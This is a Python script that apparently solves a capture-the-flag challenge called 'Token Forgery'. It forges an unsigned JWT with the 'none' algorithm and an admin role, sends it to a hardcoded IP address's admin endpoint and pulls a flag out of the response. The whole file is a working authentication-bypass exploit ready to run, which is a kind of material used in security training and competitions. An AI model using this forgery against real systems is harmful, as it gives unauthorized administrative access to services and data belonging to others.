#!/usr/bin/env python3 """Forge an unsigned JWT and retrieve the Token Forgery flag.""" from __future__ import annotations import argparse import base64 import json import re import sys from urllib.error import HTTPError, URLError from urllib.parse import urlencode from urllib.request import Request, urlopen DEFAULT_BASE_URL = "http://45.92.158.64:42917" FLAG_RE = re.compile(r"RTRTNI26\{[^}\r\n]+\}") def b64url_json(value: dict[str, str]) -> str: raw = json.dumps(value, separators=(",", ":")).encode() return base64.urlsafe_b64encode(raw).rstrip(b"=").decode() def forge_token(subject: str, role: str) -> str: header = {"alg": "none", "typ": "JWT"} payload = {"sub": subject, "role": role} # The empty third segment is the deliberately omitted signature. return f"{b64url_json(header)}.{b64url_json(payload)}." def solve(base_url: str, subject: str, role: str, timeout: float) -> tuple[str, str]: token = forge_token(subject, role) endpoint = base_url.rstrip("/") + "/api/admin/secret.php" url = endpoint + "?" + urlencode({"token": token}) request = Request(url, headers={"Accept": "application/json"}) try: with urlopen(request, timeout=timeout) as response: body = response.read().decode("utf-8", "replace") except HTTPError as exc: body = exc.read().decode("utf-8", "replace") raise RuntimeError(f"target returned HTTP {exc.code}: {body}") from exc except URLError as exc: raise RuntimeError(f"could not reach {endpoint}: {exc.reason}") from exc match = FLAG_RE.search(body) if not match: raise RuntimeError(f"flag not found in target response: {body}") return token, match.group(0) def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--base-url", default=DEFAULT_BASE_URL) parser.add_argument("--subject", default="presiden") parser.add_argument("--role", default="admin") parser.add_argument("--timeout", type=float, default=15.0) return parser.parse_args() def main() -> int: args = parse_args() try: token, flag = solve(args.base_url, args.subject, args.role, args.timeout) except RuntimeError as exc: print(f"[-] {exc}", file=sys.stderr) return 1 print(f"[+] forged token: {token}") print(f"[+] flag: {flag}") return 0 if __name__ == "__main__": raise SystemExit(main())